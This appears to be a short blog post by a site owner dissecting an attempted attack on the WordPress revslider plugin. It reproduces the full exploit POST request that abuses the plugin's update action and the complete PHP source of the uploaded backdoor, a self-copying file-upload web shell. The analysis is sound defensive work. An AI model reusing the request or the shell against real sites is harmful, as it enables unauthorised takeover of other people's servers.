The malware a recent attack against the WordPress revslider plugin attempted to install
I’ve been seeing attempts to exploit bugs in the WordPress revslider plugin for a very long time. But all of the attacks that utilize a POST request have attempted to upload a Zip archive. And a bug in the mod_dumpio module meant I was unable to extract the contents of those zip files. Having just fixed the mod_dumpio module I was able to capture one of those zip archives. The attack was from a server at namecheaphosting.com (I’ve elided the binary zip data):
POST /tag/php/wp-admin/admin-ajax.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: www.skepticism.us User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 Content-Length: 1122 Content-Type: multipart/form-data; boundary=xYzZY Cookie: --xYzZY Content-Disposition: form-data; name="action" revslider_ajax_action --xYzZY Content-Disposition: form-data; name="client_action" update_plugin --xYzZY Content-Disposition: form-data; name="update_file"; filename="revslider.zip" Content-Type: application/zip PK… --xYzZY--
And the contents of the uploaded zip file was a single file named revslider/dor.libs.php
with the following content. As you can see it’s a poorly written minimalist backdoor.
<?php echo "<title>RevSlideR 2015</title><br><br>"; $win = strtolower(substr(PHP_OS,0,3)) == "win"; if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = true; $hsafemode = "4,1ON(BuSuX)"; } else {$safemode = false; $hsafemode = "OFF(WoKeH)";} $os = wordwrap(php_uname(),90,"<br>",1); $xos = "Safe-mode:[Safe-mode:".$hsafemode."] 7 [OS:".$os."]"; echo "<center> ".$xos." </center><br>"; if(isset($_GET['x'])){ echo "<title>PiNDaH 2015</title><br><br>"; $source = $_SERVER['SCRIPT_FILENAME']; $desti =$_SERVER['DOCUMENT_ROOT']."/default.php"; copy($source, $desti); } echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; } else { echo '<b>Upload GAGAL !!!</b><br><br>'; } } ?>